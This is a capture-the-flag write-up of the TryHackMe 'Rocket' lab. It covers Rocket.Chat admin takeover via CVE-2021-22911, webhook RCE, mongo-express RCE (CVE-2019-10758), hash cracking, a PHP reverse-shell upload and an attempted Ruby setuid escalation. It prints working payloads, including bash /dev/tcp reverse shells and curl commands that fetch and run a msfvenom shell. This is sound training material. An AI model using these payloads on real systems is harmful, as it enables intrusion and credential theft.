Recon to foothold
Let’s begin with a scan, first massscan
rob:Rocket/ $ sudo masscan -p1-65535,U:1-65535 10.10.60.178 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-22 19:48:46 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.60.178
Discovered open port 22/tcp on 10.10.60.178
And now nmap
to probe for more details
rob:Rocket/ $ nmap -A -v -p22,80 -T3 10.10.60.178
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-22 20:53 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating Ping Scan at 20:53
Scanning 10.10.60.178 [2 ports]
Completed Ping Scan at 20:53, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 20:53
Scanning rocket.thm (10.10.60.178) [2 ports]
Discovered open port 80/tcp on 10.10.60.178
Discovered open port 22/tcp on 10.10.60.178
Completed Connect Scan at 20:53, 0.02s elapsed (2 total ports)
Initiating Service scan at 20:53
Scanning 2 services on rocket.thm (10.10.60.178)
Completed Service scan at 20:53, 6.03s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.60.178.
Initiating NSE at 20:53
Completed NSE at 20:53, 1.39s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.14s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Nmap scan report for rocket.thm (10.10.60.178)
Host is up (0.011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b5:20:37:9f:99:b2:4f:23:ba:3a:43:60:b7:45:c8:62 (RSA)
| 256 12:77:83:03:1f:64:bb:40:5d:bf:2c:48:e2:5a:b5:18 (ECDSA)
|_ 256 74:7c:e6:07:78:fc:fd:45:1d:e8:2b:d5:02:66:8e:cd (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-generator: Bolt
| http-methods:
|_ Supported Methods: GET POST HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home | Rocket Entertainment
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds
Our scan reveals that the website is created by BoltCMS. This has definitely had vulnerabilities in the past so that is worth checking
Let’s have a look at the website then. Firstly we can see that requesting the IP address immediately gives us a redirect to rocket.thm
, so we’ll add that to our /etc/hosts
file
We can pick up some potential usernames
Giving us kevin
, lucy
, laurent
& marcus
, just in case we find something like a password
Some manual enumeration finds a link to /api/docs
Before we forget, we can pick up the version of Bolt in use, version 4.1.20
Interestingly here we are logged in as an ‘Unknown user’ which allows us to execute some of the api calls
Enumerating the output of the GET:CONTENTS api call we find an odd link http://rocket.off/page/why-choose-rocket-entertainment
. If we try to correct that to .thm
we get a new page, some legacy orphaned code maybe? we get the page linked from literally the first block of the homepage!
Let’s come back to the API if we need to but for now we can carry on
Hunting for subdomains finds us something interesting
rob:~/ $ ffuf -u http://rocket.thm/ -H "Host: FUZZ.rocket.thm" -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://rocket.thm/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
:: Header : Host: FUZZ.rocket.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 20
________________________________________________
chat [Status: 200, Size: 224515, Words: 12566, Lines: 490, Duration: 2432ms]
:: Progress: [484699/484699] :: Job [1/1] :: 1093 req/sec :: Duration: [0:06:18] :: Errors: 0 ::
Ok, let’s check that out then
We find an option to register a new account, let’s give it a go with allfun@rocket.thm
We can, and very shortly after connecting to the server we get a notification ‘ding,dong’ and we find Laurent and Terrance in general chat
Googling for vulnerabilities in Rocket Chat we find a few potential candidates at cve.mitre.org
We get a link to a hackerone report for CVE-2021-22911. Reading through it makes it seem like a viable possibility if we can figure out who the admin is, and their email address. The exploit source code is removed from this report though so let’s see if we can find it elsewhere
We find a couple of candidates
- Firstly at the ever-reliable exploit-db
- Another option found by google-dorking github
On a quick glance these look mostly the same, we’ll try following the second one simply because the explanation is nice and clear
Usage
- You will need a low priv user’s email who has no 2fa setup. ( -u )
- You will also need to know administrator email. Not a problem if admin is protected with 2fa. ( -a )
python3 exploit.py -u "user@rocket.local" -a "admin@rocket.local" -t "http://rocket.local"
That all seems doable, let’s grab the exploit code and try it out
rob:CVE-2021-22911/ (main) $ python3 exploit.py -u "allfun@rocket.thm" -a "admin@rocket.thm" -t "http://chat.rocket.thm"
[+] Resetting allfun@rocket.thm password
[+] Password Reset Email Sent
Got: K
Got: Kr
Got: Kr4
Got: Kr48
--snip--
Got: Kr48WH7OF6sn56qrFAiBL12riFQoEGltyqE_q6bQBO
Got: Kr48WH7OF6sn56qrFAiBL12riFQoEGltyqE_q6bQBOX
[+] Got token : Kr48WH7OF6sn56qrFAiBL12riFQoEGltyqE_q6bQBOX
[+] Password was changed !
[-] Couldn't authenticate
Hmmmm, well that’s not good! Let’s try it again
--snip--
[+] Got token : Q2Gq1Ojciq180rMgLhgLgp3Jmh4uHHHxgTDWj-R5w8p
[-] Wrong token
Did we bork something by trying the exploit? (edit) NB, the first attempt did change the password for the user allfun
, not sure why it couldn’t authenticate (edit 2) pretty sure it was because I hadn’t used the right email address
After a box reset (because I wasn’t looking at the timer!) we try it again and it goes a little better!
rob:CVE-2021-22911/ (main) $ python3 exploit.py -u "allfun@rocket.thm" -a "admin@rocket.thm" -t "http://chat.rocket.thm"
[+] Resetting allfun@rocket.thm password
[+] Password Reset Email Sent
Got: w
Got: w1
Got: w1N
--snip--
Got: w1Nj0ZgXqgZ40NRQVzKfdBiwuwRNt8oRcaoJF5C8rv9
[+] Got token : w1Nj0ZgXqgZ40NRQVzKfdBiwuwRNt8oRcaoJF5C8rv9
[+] Password was changed !
[+] Succesfully authenticated as allfun@rocket.thm
Got the code for 2fa: ices.totp is undefined :\n@:1:56\n@:1:49\n"}
[+] Resetting admin@rocket.thm password
[+] Password Reset Email Sent
Got: D
...
Ok, so it changes the user password first, then from there it gets a 2FA code somehow and restarts the reset process, except this time for the admin account. A little bit of waiting and we get
[+] Resetting admin@rocket.thm password
[+] Password Reset Email Sent
Got: D
Got: Dn
--snip--
Got: DnFWgDHJ1WY34g3FoZtfao_-T6i-N-cfXyjrnK6Pst
Got: DnFWgDHJ1WY34g3FoZtfao_-T6i-N-cfXyjrnK6Psti
[+] Got token : DnFWgDHJ1WY34g3FoZtfao_-T6i-N-cfXyjrnK6Psti
Traceback (most recent call last):
File "/home/rob/Documents/TryHackMe/Rocket/CVE-2021-22911/exploit.py", line 155, in <module>
code = oathtool.generate_otp(secret)
File "/home/rob/.local/lib/python3.9/site-packages/oathtool/__init__.py", line 59, in generate_otp
key = base64.b32decode(pad(clean(key)), casefold=True)
File "/usr/lib/python3.9/base64.py", line 231, in b32decode
raise binascii.Error('Non-base32 digit found') from None
binascii.Error: Non-base32 digit found
Ahhh, that was looking good… so close!
It’s not an error with the script it seems, it looks like the weird looking Got token : ...
line is killing the progress. Interestingly the internet can find no mention of ices.totp
…
>>> import oathtool
>>> oathtool.generate_otp("ices.totp is undefined :\n@:1:56\n@:1:49\n\"")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/rob/.local/lib/python3.9/site-packages/oathtool/__init__.py", line 59, in generate_otp
key = base64.b32decode(pad(clean(key)), casefold=True)
File "/usr/lib/python3.9/base64.py", line 231, in b32decode
raise binascii.Error('Non-base32 digit found') from None
binascii.Error: Non-base32 digit found
And a little experimentation shows that it’s the non-alphabetic symbol characters that cause this, the question now is where the error might be coming from, is it a different version of oathtool or something odd in the setup of the node? Or… could it just be that there is no 2FA for the admin and by including it we introduce an error?
Our exploit has a case for this
NOTE: If you don’t want Administrator protected with 2FA you can do the following.
- Send forget password mail
- Get resettoken for admin
- Change the password using the reset token retrieved
Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target) token = resettoken(target) changingpassword(target,token)
Let’s try to edit the script (used the new version in the repo as a base as the technique is faster ) then and try once more
rob:CVE-2021-22911/ (main✗) $ python3 new_exploit-no2fa.py -u "allfun@rocket.thm" -a "admin@rocket.thm" -t "http://chat.rocket.thm"
[+] Resetting allfun@rocket.thm password
[+] Password Reset Email Sent
Got: E
Got: Ew
--snip--
Got: EwXmrU-ZINdL0z5gcPF50EdK-Br6JKXS0ue7RQN7PEh
[+] Got token : EwXmrU-ZINdL0z5gcPF50EdK-Br6JKXS0ue7RQN7PEh
[+] Password was changed !
[+] Succesfully authenticated as allfun@rocket.thm
Got the code for 2fa: ices.totp is undefined :\n@:1:56\n@:1:49\n"}
[+] Resetting admin@rocket.thm password
[+] Password Reset Email Sent
[+] Succesfully authenticated as allfun@rocket.thm
Got the reset token: HSPoWmtg8_bKSPNtT-g1xNRihxQcYjQjBI1H7Od_IED
[+] Admin password changed !
Excellent, if this really has worked then the admin password should now be P@$$w0rd!1234
And it is! We’re in as the administrator and we have an admin menu option
We also find a message from the admin to laurent
The admin link leads us to a busy dashboard kind of thing
As a test we can add an Integration, following the steps outlined in the exploit documentation
Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.
We create a integration with the following script : >
> const require = console.log.constructor('return process.mainModule.require')(); > const { exec } = require('child_process'); > exec('command here'); >
Next we just trigger the webhook to get rce :)
For any fields that we struggle with we can just refer to the exploit source code again and extract them from the payload
of the rce
function
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
Now we request the webhook url
But we get an error it seems
Luckily there are logs which give us a bit of a clue
It seems to want a class Script
so we head to the Rocket.Chat documentation to see can we find an example syntax
Ok then, we wrap our script in class Script { }
and try again
Excellent, we have a positive result. However we do not have any command output
What our script still doesn’t have is a process_incoming_request
like the example and returning to the documentation we can find the following
The class has a method called
process_incoming_request
, your server calls this method every time is receives a new request. It is called with an Object as a parameter with therequest
property.The
process_incoming_request
method returns an object with acontent
property that contains valid Rocket.Chat message, or an object with anerror
property that returns as the response to the request in JSON format and Code 400 status.
Let’s try adding this to our script as well then… but still not a useful response. Maybe let’s try a blind command option, we’ll try a curl
, and see if we get a response. We try this script
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('curl http://10.14.6.26:9090/testing');
console.log(request.content);
return {
content: {
text: request.content.text
}
};
}
}
But try as we might we can’t get a response!
We go back to the original script and try doing this via the API rather than in the admin GUI, changing the payload to a bash
reverse shell
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rocket-rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\'''"class Script {\\n\\n process_incoming_request({ request }) {\\n\\n\\tconst require = console.log.constructor(\'return process.mainModule.require\')();\\n\\tconst { exec } = require(\'child_process\');\\n\\texec(\'bash -c \\\"bash -i >& /dev/tcp/' + str(my_ip) + '/' + str(port) + ' 0>&1\\\"\');\\n\\n\\n return {\\n error: {\\n success: true,\\n message: \\\"Mission Accomplished!\\\"\\n }\\n };\\n }\\n}",'\');","type":"webhook-incoming"}'
cookies = {'rc_uid': userid,'rc_token': token}
headers = {'X-User-Id': userid,'X-Auth-Token': token}
A couple of other difference with this attempt
- we switched the port to 443 in case the target was filtering non-“normal” ports out
- based on a detail in the documention that says
The script should be in **ES2015 / ECMAScript 6**
we include the indenting formatting (just in case). This all needs to be escaped
rob:CVE-2021-22911/ (main✗) $ nc -lnvp 443
listening on [any] 443 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.5.30] 60800
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
rocketchat@c2c82695ecf1:/app/bundle/programs/server$
And we pop a shell!
With a quick check we can see that we are user rocketchat
and in a docker container
rocketchat@c2c82695ecf1:/proc$ ls -la
total 4
dr-xr-xr-x 126 root root 0 Jul 27 09:41 .
drwxr-xr-x 1 root root 4096 Jun 14 19:11 ..
dr-xr-xr-x 9 rocketchat rocketchat 0 Jul 27 09:41 1
dr-xr-xr-x 9 rocketchat rocketchat 0 Jul 27 11:05 34
dr-xr-xr-x 9 rocketchat rocketchat 0 Jul 27 11:05 35
dr-xr-xr-x 9 rocketchat rocketchat 0 Jul 27 11:05 36
dr-xr-xr-x 9 rocketchat rocketchat 0 Jul 27 11:05 41
--snip--
Evidence for being stuck in a container
- A grand total of 5 processes in
/proc
and process 1 is owned by our user - The hostname for the server has the format and appearance of a container ID
- Almost no useful commands are installed!
Container #1, user rocketchat
Let’s explore this application first, we can assume there must be a database or other storage for users and their details, perhaps we can find some reusable creds
No, wait, after ^C
killing my shell a couple of times, first we stabilize our shell. Let’s try using socat
, we don’t use it enough. First we want to transfer it to the box, but we don’t have wget
or curl
or nc
or…
On our old friend book.hacktricks.xyz we find a method that should work
After Base64 encoding our binary we run nc
on our attack box
rob:Rocket/ $ nc -w5 -lnvp 80 < socat_b64
listening on [any] 80 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.5.30] 34300
And then connect (quickly to avoid timeouts) from our target
rocketchat@c2c82695ecf1:~$ exec 6< /dev/tcp/10.14.6.26/80
rocketchat@c2c82695ecf1:~$ cat <&6 > socat.txt
rocketchat@c2c82695ecf1:~$ ls -la socat.txt
-rw-r--r-- 1 rocketchat rocketchat 506819 Jul 27 12:12 socat.txt
Now we decode it
rocketchat@c2c82695ecf1:~$ cat socat.txt | base64 -d > socat
rocketchat@c2c82695ecf1:~$ chmod +x socat
rocketchat@c2c82695ecf1:~$ ./socat -V
socat by Gerhard Rieger - see www.dest-unreach.org
socat version 1.7.3.0 on Jun 16 2015 21:24:31
running on Linux version #148-Ubuntu SMP Sat May 8 02:33:43 UTC 2021, release 4.15.0-144-generic, machine x86_64
features:
#define WITH_STDIO 1
#define WITH_FDNUM 1
--snip--
Ok, we have a working binary, now let’s create a new reverse shell, this one will be a proper tty
On our attackbox we start socat as a listener
rob:Rocket/ $ socat file:`tty`,raw,echo=0 tcp-listen:1234
And on our target we make the connection
rocketchat@c2c82695ecf1:~$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.14.6.26:1234', pty,stderr,setsid,sigint,sane tcp:10.14.6.26:1234
Back at the attackbox we have a new shell pop, and we can’t easily kill this one
rocketchat@c2c82695ecf1:~$ ^C
rocketchat@c2c82695ecf1:~$
Now we can explore in relative safety
Looking at the running processes that are listening on ports we find an SSH server bound to the internal address
rob:CVE-2021-22911/ (main✗) $ ss -tulpn | grep -i LISTEN
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
Looking for defined environment variable we find something interesting
rocketchat@c2c82695ecf1:~$ env
--snip--
DB_PORT_27017_TCP=tcp://172.17.0.2:27017
--snip--
MONGO_WEB_INTERFACE=172.17.0.4:8081
--snip--
MONGO_URL=mongodb://db:27017/meteor
We’ve found the database (there’s a lot more in that env
result but this is enough to continue), an instance of MongoDB running on what could be another container. A quick check of our IP address using hostname
as ip
is not installed so this is either another container or the host
rocketchat@c2c82695ecf1:~$ hostname -I
hostname -I
172.17.0.3
We know we have nothing that can connect to this from our container, so let’s set up some portforwarding and use our attackbox to connect to the database, we’ll use ligolo
for this
attackbox: ./localrelay -certfile certs/cert.pem -keyfile certs/key.pem
target: ./ligolo -relayserver 10.14.6.26:5555
The default proxyport on our side is port 1080 so we set our proxy to that and request the mongo address, 172.17.0.4:8081
And we run into a basis authentication prompt. Let’s forward this through Burpsuite to see the traffic in detail in case there are headers etc. that might give us a close. We can do this by setting a SOCKS proxy on the ‘User Options’ tab
So now we have the browser set to proxy to Burpsuite and Burpsuite relays all the traffic to our tunnel
In the raw data we do find something interesting, an X-Powered-By
header
A little googling for ‘mongo express’ finds us a github project of a web-base admin interface written with Node.js, Express & Bootstrap3
Google again comes to the rescue with some default creds for mongo-express, admin:pass
, let’s give it a try
In the users
database we can find bcrypt hashes for all the chat users, we might have password reuse but bcrypt can take a long time to crack. Let’s grab them anyway
username | password hash |
---|---|
laurent | $2b$10$oEIGZ7bp27kXCk8CzRg3MOh6BR1pR7XHy2q6Gw4hWgnxF8L3a55HS |
admin | $2b$10$b83M.miBhGOqrqFcof7Fqeb6qvP5EsDnO6Hcc7iboNmP3.ZQL4K6q |
terrance | $2b$10$lLhvb5M5ZK4ivRRxHTGTxOU1aNA4pXqxbc/4aic.IWpiwIpcJiCai |
After making our GPU VERY hot trying to crack these without success we remember that private message from the admin to Terrance
I’ve recently upgraded the authentication mechanism for this portal and made a full database backup just in case we need to revert
So are we trying to crack new passwords? Would some of the old ones be reusable? Seems like we need to find a way to get to the filesystem. The Mongo-Express GUI doesn’t seem to give many opportunities, but let’s have a look and see if there are any vulnerabilities for it. We’ll start on cve.mitre.org
And there is a good candidate, an RCE from 2019, CVE-2019-10758, rated with a CVSS score of 10.0 by snyk.io
The snyk.io link very kindly links to an exploit
That exploit has a handy curl
version so we setup proxychains.conf
in our working directory and create an entry with socks5 localhost 1080
which will get us into our tunnel. To get a template to edit for proxychains.conf simply execute
cp /etc/proxychains4.conf ./proxychains.conf
This means you don’t have to edit /etc/proxychains4.conf
every time and you can keep the appropriate config with your project files
Now we can execute our exploit
rob:Rocket/ $ proxychains curl "http://172.17.0.4:8081/checkValid" -H "Authorization: Basic YWRtaW46cGFzcw==" --data "document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\'bash -c \"bash -i >& /dev/tcp/10.14.6.26/4321 0>&1\"\')"
[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Invalid%
Goodness, we’re not making any bit of this easy for ourselves!
We try separating the command from the wrapper to avoid some of the potentially clashing "
s & '
s
rob:Rocket/ $ CMD='bash -c "bash -i >& /dev/tcp/10.14.6.26/4321 0>&1"' && proxychains curl "http://172.17.0.4:8081/checkValid" -H "Authorization: Basic YWRtaW46cGFzcw==" --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync($CMD)'
[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Invalid%
But that doesn’t help either. Going back to the drawing board we check if we can even execute a command blindly, sending a curl
command to the target
rob:Rocket/ $ proxychains curl 'http://172.17.0.4:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl 10.14.6.26:9090/test")'
[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Valid%
That looks much better! And over at our webserver we see the request
rob:Rocket/ $ updog
[+] Serving /home/rob/Documents/TryHackMe/Rocket...
* Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)
10.10.14.97 - - [27/Jul/2021 17:56:16] "GET /test HTTP/1.1" 302 -
Ok then, can we use this method to pull a reverse shell to the box? First let’s make a shell
rob:Rocket/ $ msfvenom --payload linux/x64/shell_reverse_tcp --format elf LHOST=10.14.6.26 LPORT=4321 -o revshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: revshell
And now let’s pull it to the target and execute it
rob:Rocket/ $ proxychains curl 'http://172.17.0.4:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl 10.14.6.26:9090/revshell -o /tmp/revshell;chmod 777 /tmp/revshell; /tmp/revshell")'
[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
And we pop a shell! It’s another container as suspected
rob:Rocket/ $ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.14.97] 60042
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Container #2, user root to container host
Can we find a backup then?
find / -name *backup*
/backup
/backup/db_backup
Good, it seems we can, let’s check it out
cd /backup/db_backup/meteor
cat user.bson
cat: can't open 'user.bson': No such file or directory
cat users.bson
�_id46vy7oaRzH52QZRmj createdAt���'yservices]passwordNbcrypt=$2y$04$yksXrgLvjGKed2u0zc1Ol.XNqFIlzlxS04RkaSsMqPJiP4d/Fz3rWuser--snip--
That’s quite long and quite messy, we can extract the passwords to a table though
username | backup password hash |
---|---|
laurent | $2y$04$yksXrgLvjGKed2u0zc1Ol.XNqFIlzlxS04RkaSsMqPJiP4d/Fz3rW |
admin | $2y$04$v53RbDrVzzPSyUsmDjrftONXARoN1OzTfx2aMG94XOPh3cBBvuC/G |
terrance | $2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrFp0yLA5DHi |
Now, let’s see if any of these might crack
PS E:\Tools\hashcat-5.1.0> .\hashcat64.exe -m 3200 hash.txt .\rockyou.txt
hashcat (v5.1.0) starting...
OpenCL Platform #1: Advanced Micro Devices, Inc.
================================================
* Device #1: Ellesmere, 4048/8192 MB allocatable, 36MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Watchdog: Temperature abort trigger set to 90c
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921525
* Keyspace..: 14344387
$2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrFp0yLA5DHi:1q2w3e4r5
Session..........: hashcat
Status...........: Cracked
Hash.Type........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrF...LA5DHi
Time.Started.....: Tue Jul 27 18:32:18 2021 (3 secs)
Time.Estimated...: Tue Jul 27 18:32:21 2021 (0 secs)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 13692 H/s (8.67ms) @ Accel:8 Loops:1 Thr:8 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 41472/14344387 (0.29%)
Rejected.........: 0/41472 (0.00%)
Restore.Point....: 39168/14344387 (0.27%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:15-16
Candidates.#1....: luis17 -> 180893
Hardware.Mon.#1..: Util: 3% Core:1363MHz Mem:2000MHz Bus:16
Started: Tue Jul 27 18:32:15 2021
Stopped: Tue Jul 27 18:32:22 2021
Excellent, admin
was a non-starter, however terrance
cracked and gave us the password 1q2w3e4r5
We check this in all the places we can login and although we don’t get a hit with terrance
, we do with user admin
. They must have a personal and a management account on the system
And this is confirmed when the admin account welcomes us with ‘Hey Terrance’
Under ‘File Management’ we find an upload function
A quick test shows us that we can reach these files from the web server as http://rocket.thm/files/kitten.jpg
displays the image for us. Can we then upload something that can give us a shell? The goto here is pentestmonkey’s PHP reverse shell, but that won’t upload for us
That was probably a bit silly, this server is running node.js after all. Worth a try though 😄 … Actuially maybe not so silly, the docs state that we can run Bolt on php (handy for development)
To see what options we have for smuggling in a sneaky shell we google for allowed file types, which leads us here. It seems there is a configuration option for this!
Let’s see if we can add php to that list then. To be safe let’s add it to accept_media_types
too!
And see if we can upload our reverse shell file now
Ok, it made it up there, the last step is to see if we can run it. After starting a listener we request the file
rob:Rocket/ $ curl http://rocket.thm/files/revshell.php
And over on the listener we’ve popped another shell
rob:Rocket/ $ nc -lvnp 5678
listening on [any] 5678 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.14.97] 37884
Linux rocket 4.15.0-144-generic #148-Ubuntu SMP Sat May 8 02:33:43 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
18:02:35 up 4:15, 0 users, load average: 0.06, 0.09, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(alvin) gid=1000(alvin) groups=1000(alvin)
/bin/sh: 0: can't access tty; job control turned off
$ hostname
rocket
Finally it seems we might be on the host server, connected as user alvin
In alvin
s home directory we find the user flag
$ cat user.txt
THM{REDACTED}
Privesc to root
We get an odd response when we try to enumerate sudo
$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin
Checking for running services shows us another webserver bound to the loopback address, this one on port 8080
$ ss -tulnp | grep -i listen
tcp LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8081 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
This is probably the BoltCMS application running in another container and being forwarded out to port 80
alvin@rocket:/$ curl localhost:8080 | grep -i title
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0<title>Rocket Entertainment</title><meta name="application-name" content="Rocket Entertainment"><meta name="apple-mobile-web-app-title" content="Rocket Entertainment">
100 219k 0 219k 0 0 11.8M 0 --:--:-- --:--:-- --:--:-- 11.8M
And a quick check shows us that it is
As we check for file capabilities we find something that looks good
alvin@rocket:/$ getcap -r / 2>/dev/null
/usr/bin/ruby2.5 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
Ruby with capabilities means that we should be able to use a gtfobins exploit to get a root shell
alvin@rocket:/$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/bash"'
Traceback (most recent call last):
1: from -e:1:in `<main>'
-e:1:in `setuid': Operation not permitted (Errno::EPERM)
Ahhhh, something else is getting in our way it seems
On the off chance that it has something to do with the occasional messages we recieve about out terminal not being fully functional, let’s add our SSH key to alvin
’s list of authorized users
alvin@rocket:/$ mkdir -p /home/alvin/.ssh
alvin@rocket:/$ chmod 700 /home/alvin/.ssh
alvin@rocket:/$ cd /home/alvin/.ssh
alvin@rocket:/home/alvin/.ssh/$ vi authorized_keys
alvin@rocket:/home/alvin/.ssh/$ chmod 644 authorized_keys
And now we can login as Alvin properly
rob:~/ $ ssh alvin@rocket.thm
Enter passphrase for key '/home/rob/.ssh/id_rsa':
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-144-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Jul 27 19:30:13 UTC 2021
System load: 0.01 Processes: 130
Usage of /: 80.8% of 8.79GB Users logged in: 0
Memory usage: 60% IP address for eth0: 10.10.14.97
Swap usage: 0% IP address for docker0: 172.17.0.1
118 packages can be updated.
1 update is a security update.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
alvin@rocket:~$ id
uid=1000(alvin) gid=1000(alvin) groups=1000(alvin)
A quick check of sudo
shows it’s working as expected again
alvin@rocket:~$ sudo -l
[sudo] password for alvin:
Sorry, try again.
[sudo] password for alvin:
sudo: 1 incorrect password attempt
Let’s give the ruby exploit another try too
alvin@rocket:~$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/bash"'
Traceback (most recent call last):
1: from -e:1:in `<main>'
-e:1:in `exec': Permission denied - /bin/bash (Errno::EACCES)
This is a very different error, it doesn’t seem to be complaining about our permissions to setuid
anymore, rather it doesn’t like us using /bin/bash
it seems!
We can do a little checking on the file with getfacl
alvin@rocket:~$ getfacl /bin/bash
getfacl: Removing leading '/' from absolute path names
# file: bin/bash
# owner: root
# group: root
user::rwx
group::r-x
other::r-x
But that looks fine, all the permissions we should have
We try ltrace
and strace
to see if we can follow and traceback the execution sequence, but with no success
We can use stat
to get another view
